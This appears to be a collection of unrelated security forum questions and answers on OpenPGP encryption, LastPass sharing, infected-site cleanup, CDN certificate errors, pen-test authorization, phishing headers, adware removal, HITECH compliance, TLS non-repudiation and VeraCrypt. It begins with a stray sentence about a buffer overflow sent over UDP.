There is a lot of data being sent in this single UDP packet, to a high port and from a high source port. In fact, this is an example of a buffer overflow being completed over UDP.


Are OpenPGP-encrypted files encrypted symmetrically or with a private key? When you decrypt a personal file from another sender, do you decrypt that file with your own private key or is it a symmetric key?

I've been searching for it on the net for a while, but it's very confusing: one website says 'with the private key', another one says 'with a symmetric key'.

Generally, OpenPGP uses a hybrid approach: the message itself is encrypted with a symmetric encryption algorithm like AES and a distinct session key (a large random number individually created for each encrypted message), and then the session key is encrypted using public/private key cryptography. This combines the advantages of both concepts: symmetric encryption is very fast, while public/private key cryptography enables advanced key management functionality (ie., having split public and private keys).

So while technically the file is encrypted with symmetric cryptography, this is not directly visible to the user. It is not totally wrong if you say the file is encrypted through public/private key encryption, as the session key is not accessible without the private key.

OpenPGP also allows plain symmetric encryption, where the session key is derived from a passphrase without any public/private key cryptography.


How can you discover a password shared via LastPass? I'm trying to set up a personal accountant with access to some of my financial accounts. I would like to use LastPass sharing to give them access to the accounts without giving them access to a password that could be used by third parties. However, according to what appears to be a LP staff comment, the recipient of the shared password could just inspect the element in his browser and discover the original password. Can this possibly be the way it actually works??? If so, what's the point?

You can't. End of discussion.

For them to log in, they have to know the password. If this is not acceptable to you, you will have to work out a solution with your provider where two separate accounts can get access to the same data. In my country, this is a rather common feature for banks.

Note that sharing your password will probably be in breach of any contract you have with the banks, which may severely limit their liability.


What are good precautions to take before cleaning an infected website? I have to work on infected websites once in a while, and I'm wondering if there are some good practices to keep my computer safe.

I use my personal computer for work, so I'd like to take precautions.

Is downloading an infected website via FTP a risk only if I run it locally? If not, what are good safety measures I can use to minimize the risk?

First of all if you are downloading and running code from an infected website, you basically may infect your machine. So at this point it's time for you to format your computer and reinstall everything.

Second of all when doing incident response (which this basically is) you always start from a fresh build with your tools, either in a virtual machine or on a physical machine, and download the files to your machine. You can then analyze the malware. Afterwards you either discard or store the image. You then copy your clean image again for your next IR. You NEVER re-use the same OS where you already did analysis on.

Also refer to our topic here How do I deal with a compromised server?


DNS causing SSL errors On my old ISP's DNS servers, sometimes https://www.facebook.com would return a cert for Akamai instead of Facebook. What I don't understand is that changing my DNS server to Googles (8.8.8.8) fixes the issue.

Any ideas? I have reproduced this on more than one occasion, but I still wouldn't rule it out as being mere coincidence.

Something like this?

Probably caused by the load balancing techniques used by Facebook.

Essentially, when your computer issues a DNS request to your local DNS server (usually the one run by your ISP), it in turn contacts the authoritative DNS servers for the Facebook domain. Those servers in turn direct the DNS request to Akamai DNS servers, which return an IP address for a Facebook web server based on a number of factors, like geographical distance, load, and congestion.

This has been seen before. A section of that Ars Technica article reveals what has to happen for HTTPS content to be properly delivered over a CDN like Akamai (emphasis mine):

  We’ve looked pretty extensively at serving Ars Technica over HTTPS in
  the past. Here’s what we’d need to do to make this a reality:

  First, we would need to ensure that all third-party assets are served
  over SSL. All third-party ad providers, their back-end services,
  analytics tools, and useful widgets we include in the page would need
  to come over HTTPS. Assuming they even offer it, we would also need to
  be confident that they’re not letting unencrypted content sneak in.
  Facebook and Twitter are probably safe (but only as of the past few
  weeks), and Google Analytics has been fine for quite a while. Our ad
  network, DoubleClick, is a mixed bag. Most everything served up from
  the DoubleClick domain will work fine, but DoubleClick occasionally
  serves up vetted third-party assets (images, analytics code) which may
  or may not work properly over HTTPS. And even if it “works,” many of
  the domains this content is served from are delivered by CDNs like
  Akamai over a branded domain (e.g. the server’s SSL cert is for
  *.akamai.com, not for s0.mdn.net, which will cause most browsers to balk).

  Next, we would need to make sure our sensitive cookies have both the
  Secure and HttpOnly flags set. Then we would need to find a CDN with
  SSL abilities. Our CDN works really well over HTTP, just like most
  other CDNs. We even have a lovely “static.arstechnica.net” branded
  host. CDNs that do expose HTTPS are rare (Akamai and Amazon’s
  CloudFront currently support it), and leave you with URLs like
  “static.arstechnica.net.cdndomain.com”. It would work, but we’d be sad
  to lose our spiffy host name and our great arrangement with CacheFly.

My guess is that your ISP is doing something that affects DNS resolution of one of the domains involved in the FB page request, perhaps directing it to an Akamai server that is not properly configured to serve a Facebook page, thus causing the error.


Penetration Test Over Internet Is it bad practice and unprofessional to complete penetration tests from distant cities, without meeting your clients in person?

I'm attempting an answer based off of experience from coordinating pen tests for Fortune 100 companies. Unfortunately I think the answer is, "it depends" but hopefully this be helpful.

  Is it bad practice and unprofessional to complete penetration tests
  from distant cities, without meeting your clients in person?

The first and most important thing to know is that you must have authorization to perform the penetration test. Whether face-to-face or remote, doesn't matter. This means a formal document from the client as well as from any 3rd party vendors. For example, if your client is using AWS (Amazon Web Services), then you must have written approval and authorization of the test as well as the scope of the test from not only the client but from AWS as well. Whether you do that face-to-face or remotely - doesn't matter - you had better have legal approval to perform the test.

When you coordinate this remotely, you might risk oversight of this important point.

As far as meeting your client in person, that depends on the client. Some clients want face-to-face, some don't care. But more than that, and as mentioned by GdD, expectations must be agreed before performing the test. This is usually provided in the form of scope, cost, and deliverables.

I'm just throwing this out as a bonus but clients should understand that the test is a snapshot in time. People, processes, and technology are an important part of the full lifecycle so just getting an A+ on a pen test is not proof that the client is "secure" for eternity.


Email phishing, understand mail header I try to understand phishing email received from an attacker:

Received: ....

Received: ....

Received-SPF: Pass (sender SPF authorized) identity=mailfrom; client-ip=; helo= envelope-from:attacker@infected_website.com;receiver=victim@legit_site.com

Received: from mout.gmx.com ( [])
     by  (Postfix) with ESMTPS id =
     for <victim@legit_site.com>; Mon, 10 Feb 2019 13:06:35 +0100 (CET)

Received: from [IP_SRC] ([IP_SRC]) by
     .... (via HTTP); Mon, 10 Feb 2019 13:06:33 +0100

From the headers shared , the IP sending mail form GMX console is 74.208.4.XX, this pool of IP address belong to ISP: 1&1 Internet Inc.

There have been recent abuse(Spam) reports from this pool of IPs. Might be the tenent of the IP 74.208.4.xx is using GMX to send you the mails.

Request you to report to GMX and the ISP regarding this abuse.

There is a strong possibility that the IP 74.208.4.xx is compromised.


Tencent/Safefinder Identify and remove malware I wasn't paying attention when downloading some apps today and have successfully installed some malware on my PC.

I had Safefinder installed and I am currently removing its components and running Spybot and Malwarebytes to clean up.

Part of Safefinders issues was that it disabled Windows Defender via group policy, I removed the registry key value that set this and it appears to be working again.

The issue I have is that there is an application now installed that I do not recognise and can't identify, it's in Chinese, screenshot below. Though from the icons I assume it's some kind of system clean up/network monitoring tool.

So I have three questions.

Is the disabling of Windows Defender by Safefinder standard behaviour of this malware or is this another issue alongside it?
What is the second piece of software and how do I get rid of it? I can't see it in the list of installed programs. Is there a hidden file perhaps?
What further steps should I look at to completely remove malware, registry key changes etc.

All help much appreciated and yes, I know I should be more careful!

The programme in the screenshots was called Tencent.
I found a file location in its options, dug around and got and got the name from there.

I had to reboot in safe mode, to kill the processes as it restarts itself automatically, then uninstall the application, delete the files and remove the app data.

Followed this video guide.

Tencent Removal Guide

The following files all came bundled with this pain in the ass.

QMDownload
Tencent
Qiimu
TuneUp Software
Easy Hotspot
Sound+


HITECH : New United States Federal Act on Data Security Has anyone heard of the new HITECH Federal Act? I understand that it is an underscore of the HIPAA Federal Act but am unclear of the requirements that they are requesting.

It targets companies that deal with the storage or movement of medical and financial files, which targets the small business that I work for. We want to ensure we are following these regulations as to not have penalty fines.

THE QUESTION: What does the Act outline and what steps can we take to ensure we are following it?

The first question you have to ask is "Does HITECH (and by extension HIPAA) affect my company?" Do you store files with protected information in them? Do you move files with protected information in them? If the answer to either of those questions is YES, then you must examine the security of your organization. Make sure physical and digital access to files/data is logged and is audit-able. Make sure the files/data reside on physically and digitally secured storage (on an encrypted drive with proper ACL's on a server in a locked rack, where physical access to server is logged and audit-able). If the data is in a database, are you using column encryption on personally identifiable data (think last name, address, dob, ssn, etc.)? If you're moving the files/data, make sure that you use an encrypted/secure connection to move them, i.e. HTTPS, SFTP, FTPS, etc., and that all moves are logged and audit able.

Meet the above basics first, then worry about digging in to more detail of the actual legislation.


Can you use Https to prove document was sent from domain? I'm aware that you can use tools like GPG to both encrypt and sign information.

However HTTPS seems to only be used for encryption. The browser shows me the connection is secure, but there is no way that I know if  for me to save a page to prove that X domain sent Y content at Z time

I'm guessing that I'm theory this is possible to do. If you somehow stored the browsers generated value and the SSL handshake and the data that was sent. Is my understanding correct?

Are there any tools to do this?

For background I was thinking it would be useful to store tweets from public figures and companies in a format that was verifiable in the case that they are subsequently deleted. Screenshots are commonly used but are not verifiable.

The application data within TLS are encrypted with a key known to both client and server. The application data are only encrypted and integrity protected by a HMAC but they are not signed by the server. This means that the client could take an existing TLS handshake with the server and use the key exchanged by this handshake to encrypt whatever data it wants. Since the application data are not signed by the server there will be no way for a third party to verify if these data were actually sent by the server or if the client has faked these data.


Using VeraCrypt on 2 drives I have a desktop which has one system drive and one HHD.
I used VeraCrypt to encrypt the system drive.

Does it mean that VeraCrypt also protected my HHD (my second drive)?

No. If you only encrypt the system drive, the other disk units will not be protected. Many systems allow to boot from a removable media (CD/DVD or USB memory stick). It is the standard way to recover some data after a system disk failure.

But if an attacker manages to boot from such a removable media, all non encrypted disk will be unprotected.